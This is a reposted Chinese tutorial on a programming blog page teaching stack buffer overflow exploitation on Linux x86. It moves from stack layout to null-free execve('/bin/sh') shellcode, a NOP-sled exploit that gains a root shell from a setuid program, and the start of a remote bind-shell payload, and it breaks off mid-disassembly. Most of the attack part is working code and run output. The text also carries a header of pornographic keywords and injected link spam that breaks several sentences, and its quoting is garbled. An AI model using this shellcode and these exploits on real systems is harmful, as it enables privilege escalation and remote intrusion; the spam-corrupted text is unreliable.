日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

堆栈溢出从入门到提高

發(fā)布時間:2023/12/10 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 堆栈溢出从入门到提高 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

轉(zhuǎn)自:http://www.jiaonan.net/html/2007/06/20070624034620915.htm


入門篇
2007-6-24 15:46:20


本講的預備知識:
首先你應該了解intel匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分配方面
的基礎知識,有關這方面的計算機書籍非常多,我將僅僅是簡單闡述原理,著重在應用。其次,
你應該了解linux,本講中我們的樣例將在linux上開發(fā)。

1:首先復習一下基礎知識。

從物理上講,堆棧是就是一段連續(xù)分配的內(nèi)存空間。在一個程序中,會聲明各種變量。靜態(tài)
全局變量是位于數(shù)據(jù)段而且在程序開始執(zhí)行的時候被載入。而程序的動態(tài)的局部變量則分配
在堆棧里面。

從操作上來講,堆棧是一個先入后出的隊列。他的生長方向與內(nèi)存的生長方向正好相反。我
們規(guī)定內(nèi)存的生長方向為向上,則棧的生長方向為向下。壓棧的操作push=ESP-4,出棧的
操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。
請牢牢記住這一點,由于這是堆棧溢出的基本理論根據(jù)。

在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。假設函數(shù)有局部變量,
接下來,就在堆棧中開辟對應的空間以構(gòu)造變量。函數(shù)運行結(jié)束,這些局部變量的內(nèi)容將被
丟失。可是不被清除。在函數(shù)返回的時候,彈出EBP,恢復堆棧到函數(shù)調(diào)用的地址,彈出返回
地址到EIP以繼續(xù)運行程序。

在C語言程序中,參數(shù)的壓棧順序是反向的。比方func(a,b,c)。在參數(shù)入棧的時候,是:
先壓c,再壓b,最后a.在取參數(shù)的時候,因為棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。
(PS:假設你看不懂上面這段概述,請你去看以看關于堆棧的書籍,一般的匯編語言書籍都
會具體的討論堆棧,必須弄懂它,你才干進行以下的學習)

2:好了,繼續(xù),讓我們來看一看什么是堆棧溢出。

2.1:執(zhí)行時的堆棧分配

堆棧溢出就是不顧堆棧中分配的局部數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導致數(shù)據(jù)
越界。結(jié)果覆蓋了老的堆棧數(shù)據(jù)。

比方有以下一段程序:
程序一:
#include <stdio.h>
int main ( )
{
char name[8];
printf(/"Please type your name: /");
gets(name);
printf(/"Hello, %s!/", name);
return 0;
}

編譯而且執(zhí)行,我們輸入ipxodi,就會輸出Hello,ipxodi!。程序執(zhí)行中,堆棧是怎么操作的呢?

在main函數(shù)開始執(zhí)行的時候,堆棧里面將被依次放入返回地址,EBP。

我們用gcc -S 來獲得匯編語言輸出,能夠看到main函數(shù)的開頭部分相應例如以下語句:

pushl %ebp
movl %esp,%ebp
subl $8,%esp

首先他把EBP保存下來,,然后EBP等于如今的ESP,這樣EBP就能夠用來訪問本函數(shù)的
局部變量。之后ESP減8,就是堆棧向上增長8個字節(jié),用來存放name[]數(shù)組。如今堆棧
的布局例如以下:

內(nèi)存底部 內(nèi)存頂部
name EBP ret
<------ [ ][ ][ ]
^&name
棧頂部 堆棧底部

運行完gets(name)之后,堆棧例如以下:

內(nèi)存底部 內(nèi)存頂部
name EBP ret
<------ [ipxodi//0 ][ ][ ]
^&name
棧頂部 堆棧底部

最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)運行EIP所指向的指令。


2.2:堆棧溢出

好,看起來一切順利。我們再運行一次,輸入ipxodiAAAAAAAAAAAAAAA,運行完
gets(name)之后,堆棧例如以下:

內(nèi)存底部 內(nèi)存頂部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
棧頂部 堆棧底部

因為我們輸入的name字符串太長,name數(shù)組容納不下,僅僅好向內(nèi)存頂部繼續(xù)寫
‘A’。因為堆棧的生長方向與內(nèi)存的生長方向相反,這些‘A’覆蓋了堆棧的
老的元素。 如圖
我們能夠發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時候,就會把
‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會試圖運行0x41414141處
的指令,結(jié)果出現(xiàn)錯誤。這就是一次堆棧溢出。

3:怎樣利用堆棧溢出

我們已經(jīng)制造了一次堆棧溢出。其原理能夠概括為:因為字符串處理函數(shù)
(gets,strcpy等等)沒有對數(shù)組越界加以監(jiān)視和限制,我們利用字符數(shù)組寫
越界,覆蓋堆棧中的老元素的值,就能夠改動返回地址。

在上面的樣例中,這導致CPU去訪問一個不存在的指令,結(jié)果出錯。

其實,當堆棧溢出的時候,我們已經(jīng)全然的控制了這個程序下一步的動作。
假設我們用一個實際存在指令地址來覆蓋這個返回地址,CPU就會轉(zhuǎn)而運行我
們的指令。

在UINX系統(tǒng)中,我們的指令能夠運行一個感染linux腳本程序技術 淺談用delphi來編寫蠕蟲病毒 淺談數(shù)據(jù)庫的攻擊 后門技巧 Microsoft IIS ssinc.dll緩沖區(qū)溢出漏洞 IP欺騙的原理 Nimda/尼姆達蠕蟲報告_update? 教學文件(感謝網(wǎng)友提供!) 數(shù)據(jù)完整性檢測工具:Tripwire Unix網(wǎng)絡的兩個安全問題 相關鏈接共 145 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">shell ,這個shell將獲得和被我們堆
棧溢出的程序同樣的整理的關于網(wǎng)絡欺騙攻擊的內(nèi)容 文件權(quán)限和注冊表權(quán)限的另類用法 關于安全性級別 分析進入Win2000后留下的足跡 一次入侵過程 NT/2000下刪日志的方法 入侵思路 Windows?2000漏洞集錦 菜鳥操(五)(bfctx原創(chuàng)) 下一代系統(tǒng)日志工具(syslog-ng) 相關鏈接共 195 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">權(quán)限 。假設這個程序是setuid的,那么我們就能夠獲得
root shell。


下一講將敘述怎樣書寫一個shell code。


------------------------------------------------------------

怎樣書寫一個shell code

一:shellcode基本算法分析

在程序中,運行一個shell的程序是這樣寫的:
shellcode.c
------------------------------------------------------------------------
-----
#include <stdio.h>

void main() {
char *name[2];

name[0] = /"/bin/sh/"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函數(shù)將運行一個程序。他須要程序的名字地址作為第一個參數(shù)。一個內(nèi)容為
該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個參數(shù),以及(char*) 0作為
第三個參數(shù)。

我們來看以看execve的匯編代碼:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函數(shù)頭。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第幾號系統(tǒng)調(diào)用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一個參數(shù)/"/bin/sh//0/"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二個參數(shù)name數(shù)組的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三個參數(shù)空指針的地址。
;name[2-1]內(nèi)容為NULL,用來存放返回值。
0x80002ce <__execve+18>: int $0x80
;運行0xb號系統(tǒng)調(diào)用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;以下是返回值的處理就沒實用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

經(jīng)過以上的分析,能夠得到例如以下的精簡指令算法:
movl $execve的系統(tǒng)調(diào)用號,%eax
movl /"bin/sh//0/"的地址,%ebx
movl name數(shù)組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;運行系統(tǒng)調(diào)用(execve)

當execve運行成功后,程序shellcode就會退出,/bin/sh將作為子進程繼續(xù)運行。
但是,假設我們的execve運行失敗,(比方?jīng)]有/bin/sh這個文件),CPU就會繼續(xù)
運行興許的指令,結(jié)果不知道跑到哪里去了。所以必須再運行一個exit()系統(tǒng)調(diào)
用,結(jié)束shellcode.c的運行。

我們來看以看exit(0)的匯編代碼:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1號系統(tǒng)調(diào)用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0
0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

看來exit(0)〕的匯編代碼更加簡單:
movl $0x1,%eax ;1號系統(tǒng)調(diào)用
movl 0,%ebx ;ebx為exit的參數(shù)0
int $0x80 ;引發(fā)系統(tǒng)調(diào)用

那么總結(jié)一下,合成的匯編代碼為:
movl $execve的系統(tǒng)調(diào)用號,%eax
movl /"bin/sh//0/"的地址,%ebx
movl name數(shù)組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;運行系統(tǒng)調(diào)用(execve)
movl $0x1,%eax ;1號系統(tǒng)調(diào)用
movl 0,%ebx ;ebx為exit的參數(shù)0
int $0x80 ;運行系統(tǒng)調(diào)用(exit)

二:實現(xiàn)一個shellcode

好,我們來實現(xiàn)這個算法。首先我們必須有一個字符串“/bin/sh”,還得有一個name
數(shù)組。我們能夠構(gòu)造它們出來,但是,在shellcode中怎樣知道它們的地址呢?每一次
程序都是動態(tài)載入,字符串和name數(shù)組的地址都不是固定的。

通過JMP和call的結(jié)合,黑客們巧妙的攻克了這個問題。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出來的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8處構(gòu)造 name數(shù)組,

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結(jié)
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼

movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數(shù)組的開始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會

//為返回地址壓棧。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相對地址來跳轉(zhuǎn)到call,運行完call指令,字符串/bin/sh的地址將作為
call的返回地址壓入堆棧。如今來到popl esi,把剛剛壓入棧中的字符串地址取出來,
就獲得了字符串的真實地址。然后,在字符串的第8個字節(jié)賦0,作為串的結(jié)尾。后面
8個字節(jié),構(gòu)造name數(shù)組(兩個整數(shù),八個字節(jié))。

我們能夠?qū)憇hellcode了。先寫出匯編源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__(/"
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string ///"/bin/sh///" # 8 bytes
/");
}
------------------------------------------------------------------------
------
編譯后,用gdb的b/bx 〔地址〕命令能夠得到十六進制的表示。
以下,寫出測試程序例如以下:(注意,這個test程序是測試shellcode的基本程序)

test.c
------------------------------------------------------------------------
------

char shellcode[] =
/"//xeb//x2a//x5e//x89//x76//x08//xc6//x46//x07//x00//xc7//x46//x0c//x00//x00//x00/"
/"//x00//xb8//x0b//x00//x00//x00//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80/"
/"//xb8//x01//x00//x00//x00//xbb//x00//x00//x00//x00//xcd//x80//xe8//xd1//xff//xff/"
/"//xff//x2f//x62//x69//x6e//x2f//x73//x68//x00//x89//xec//x5d//xc3/"

void main() {
int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是由于:有pushl ebp ,否則加1就能夠了。)

(*ret) = (int)shellcode; //改動main()的返回地址為shellcode的開始地
址。

}

------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我們通過一個shellcode數(shù)組來存放shellcode,當我們把程序(test.c)的返回地址
ret設置成shellcode數(shù)組的開始地址時,程序在返回的時候就會去運行我們的shellcode,
從而我們得到了一個shell。

執(zhí)行結(jié)果,得到了bsh的提示符$,表明成功的開了一個shell。

這里有必要解釋的是,我們把shellcode作為一個全局變量開在了數(shù)據(jù)段而不是作為
一段代碼。是由于在操作系統(tǒng)中,程序代碼段的內(nèi)容是具有僅僅讀屬性的。不能改動。
而我們的代碼中movl %esi,0x8(%esi)等語句都改動了代碼的一部分,所以不能放在
代碼段。

這個shellcode能夠了嗎?非常遺憾,還差了一點。大家回憶一下,在堆棧溢出中,關
鍵在于字符串數(shù)組的寫越界。可是,gets,strcpy等字符串函數(shù)在處理字符串的時候,
以/"//0/"
為字符串結(jié)尾。遇//0就結(jié)束了寫操作。而我們的shellcode串中有大量的//0字符。因此,
對于gets(name)來說,上面的shellcode是不可行的。我們的shellcode是不能有//0字符
出現(xiàn)的。

因此,有些指令須要改動一下:
舊的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

最后的shellcode為:
------------------------------------------------------------------------
----
char shellcode[]=
00 /"//xeb//x1f/" /* jmp 0x1f */
02 /"//x5e/" /* popl %esi */
03 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
06 /"//x31//xc0/" /* xorl %eax,%eax */
08 /"//x88//x46//x07/" /* movb %eax,0x7(%esi) */
0b /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
0e /"//xb0//x0b/" /* movb $0xb,%al */
10 /"//x89//xf3/" /* movl %esi,%ebx */
12 /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
15 /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
18 /"//xcd//x80/" /* int $0x80 */
1a /"//x31//xdb/" /* xorl %ebx,%ebx */
1c /"//x89//xd8/" /* movl %ebx,%eax */
1e /"//x40/" /* inc %eax */
1f /"//xcd//x80/" /* int $0x80 */
21 /"//xe8//xdc//xff//xff//xff/" /* call -0x24 */
26 /"/bin/sh/" /* .string ///"/bin/sh///" */
------------------------------------------------------------------------
----

三:利用堆棧溢出獲得shell

好了,如今我們已經(jīng)制造了一次堆棧溢出,寫好了一個shellcode。準備工作都已經(jīng)作完,
我們把二者結(jié)合起來,就寫出一個利用堆棧溢出獲得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =

/"//xeb//x1f//x5e//x89//x76//x08//x31//xc0//x88//x46//x07//x89//x46//x0c//xb0//x0b/"

/"//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80//x31//xdb//x89//xd8//x40//xcd/"
/"//x80//xe8//xdc//xff//xff//xff/bin/sh/"

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在運行完strcpy后,堆棧內(nèi)容例如以下所看到的:

內(nèi)存底部 內(nèi)存頂部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
棧頂部 堆棧底部
注:S表示shellcode。
A表示shellcode的地址。

這樣,在運行完strcpy后,overflow。c將從ret取出A作為返回地址,從而運行了我們
的shellcode。


----------------------------------------------------------

利用堆棧溢出獲得shell

如今讓我們進入最刺激的一講,利用別人的程序的堆棧溢出獲得rootshell。我們
將面對
一個有strcpy堆棧溢出“求職信”病毒/蠕蟲行為深入分析 非法格式信息報頭導致Msn Messenger崩潰漏洞 微軟警告SQL Server存在安全漏洞 Apple Mac OS X PPP 驗證協(xié)議可泄露漏洞 Security?Issues?in?Perl?Scripts? unicode編碼漏洞全攻略-6 Windows 2000緩沖區(qū)溢出入門 xloadimage 緩沖區(qū)溢出漏洞 FolkQQ專業(yè)黑軟回想 Windows NT攻擊大全 相關鏈接共 205 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">漏洞 的程序,利用前面說過的方法來得到shell。

回憶一下前面所講,我們通過一個shellcode數(shù)組來存放shellcode,利用程序中的
strcpy
函數(shù),把shellcode放到了程序的堆棧之中;我們制造了數(shù)組越界,用shellcode的
開始地
址覆蓋了程序(overflow.c)的返回地址,程序在返回的時候就會去運行我們的
shellcode,從而我們得到了一個shell。

當我們面對別人寫的程序時,為了讓他運行我們的shellcode,相同必須作這兩件
事:
1:把我們的shellcode提供給他,讓他能夠訪問shellcode。
2:改動他的返回地址為shellcode的入口地址。

為了做到這兩條,我們必須知道他的strcpy(buffer,ourshellcode)中,buffer
的地址。
由于當我們把shellcode提供給strcpy之后,buffer的開始地址就是shellcode的開
始地址
,我們必須用這個地址來覆蓋堆棧才成。這一點大家一定要明白。

我們知道,對于操作系統(tǒng)來說,一個shell下的每個程序的堆棧段開始地址都是
同樣的
。我們能夠?qū)懸粋€程序,獲得執(zhí)行時的堆棧起始地址,這樣,我們就知道了目標程
序堆棧
的開始地址。

以下這個函數(shù),用eax返回當前程序的堆棧指針。(全部C函數(shù)的返回值都放在eax
寄存器
里面):
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__(/"movl %esp,%eax/");
}
------------------------------------------------------------------------
------

我們在知道了堆棧開始地址后,buffer相對于堆棧開始地址的偏移,是他程序猿自

寫出來的程序決定的,我們不知道,僅僅能靠推測了。只是,一般的程序堆棧大約是
幾K
左右。所以,這個buffer與上面得到的堆棧地址,相差就在幾K之間。

顯然猜地址這是一件非常難的事情,從0試到10K,會把人累死的。


前面我們用來覆蓋堆棧的溢出字符串為:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
如今,為了提高命中率,我們對他進行例如以下改進:
用來溢出的字符串變?yōu)?#xff1a;
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
當中:
N為NOP.NOP指令意思是什么都不作,跳過一個CPU指令周期。在intel機器上,
NOP指令的機器碼為0x90。
S為shellcode。
A為我們推測的buffer的地址。這樣,A猜大了也能夠落在N上,而且終于會運行到
S.
這個改進大大提高了推測的命中率,有時差點兒能夠一次命中。:)))

好了,枯燥的算法分析完了,以下就是利用./vulnerable1的堆棧溢出漏洞來得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>

#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
/"//xeb//x1f/" /* jmp 0x1f */
/"//x5e/" /* popl %esi */
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x88//x46//x07/" /* movb %eax,0x7(%esi) */
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
/"//xb0//x0b/" /* movb $0xb,%al */
/"//x89//xf3/" /* movl %esi,%ebx */
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xd8/" /* movl %ebx,%eax */
/"//x40/" /* inc %eax */
/"//xcd//x80/" /* int $0x80 */
/"//xe8//xdc//xff//xff//xff/" /* call -0x24 */
/"/bin/sh/" /* .string ///"/bin/sh///" */

unsigned long get_sp(void)
{
__asm__(/"movl %esp,%eax/");
}

main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]=/"//0/"
//如今buff的內(nèi)容為
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA//0

printf(/"Jump to 0x%08x//n/",addr);

execl(/"./vulnerable1/",/"vulnerable1/",buff,0);
}
------------------------------------------------------------------------
----
execl用來運行目標程序./vulnerable1,buff是我們精心制作的溢出字符串,
作為./vulnerable1的參數(shù)提供。
下面是運行的結(jié)果:
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root

bash#
------------------------------------------------------------------------
----
恭喜,恭喜,你獲得了root shell。

下一講,我們將進一步探討shellcode的書寫。我們將討論一些非常復雜的
shellcode。

--------------------------------------------------------------

遠程堆棧溢出

我們用堆棧溢出攻擊守護進程daemon時,原理和前面提到過的本地攻擊是同樣的。
我們
必須提供給目標daemon一個溢出字符串,里面包括了shellcode。希望敵人在復制
(或者
別的串處理操作)這個串的時候發(fā)生堆棧溢出,從而運行我們的shellcode。

普通的shellcode將啟動一個子進程運行sh,自己退出。對于我們這些遠程的攻擊
者來說
,因為我們不在本地,這個sh我們并沒有得到。

因此,對于遠程使用者,我們傳過去的shellcode就必須負擔起打開一個socket,
然后
listen我們的連接,給我們一個遠程shell的責任。

怎樣開一個遠程shell呢?我們先申請一個socketfd,使用30464(隨便,多少都行
)作為
這個socket連接的port,bind他,然后在這個port上等待連接listen。當有連接進
來后,
開一個子shell,把連接的clientfd作為子shell的stdin,stdout,stderr。這樣,
我們
遠程的使用者就有了一個遠程shell(跟telnet一樣啦)。

||||||以下就是這個算法的C實現(xiàn):

opensocket.c
------------------------------------------------------------------------
----
1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>

4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;

7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_一個多功能linux 后門的源碼 OpenBSD可載入內(nèi)核模塊編程全然指南 用SSL構(gòu)建一個安全的Apache 七個維護server安全的技巧 port list(from neohapsis) SSH使用及協(xié)議分析 下一代系統(tǒng)日志工具(syslog-ng) IPport對比表(中文凝視) Linux下的網(wǎng)絡掃描利器:NMAP TCP Chargen DoS攻擊及其對策 相關鏈接共 162 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">TCP );
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl(/"/bin/sh/",/"sh/",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函數(shù)創(chuàng)建了一個子進程,對于父進程fork()的返回值是子進程的
pid,
對于子進程,fork()的返回值是0.本程序中,父進程運行了一個fork就退出了,子
進程
作為socket通信的運行者繼續(xù)以下的操作。

10到23行都是子進程所作的事情。首先調(diào)用socket獲得一個文件描寫敘述符soc,然后
調(diào)用
bind()綁定30464port,接下來開始監(jiān)聽listen().程序掛起在accept等待客戶連接


當有客戶連接時,程序被喚醒,進行accept,然后把自己的標準輸入,標準輸出,

標準錯誤輸出重定向到客戶的文件描寫敘述符上,開一個子sh,這樣,子shell繼承了

這個進程的文件描寫敘述符,對于客戶來說,就是得到了一個遠程shell。

看懂了嗎?嗯,對,這是一個比較簡單的socket程序,非常好理解的。好,我們使用

gdb來反編譯上面的程序:

[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type /"show copying/" to see the conditions.
There is absolutely no warranty for GDB. Type /"show warranty/" for
details.
This GDB was configured as /"i386-redhat-linux/"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
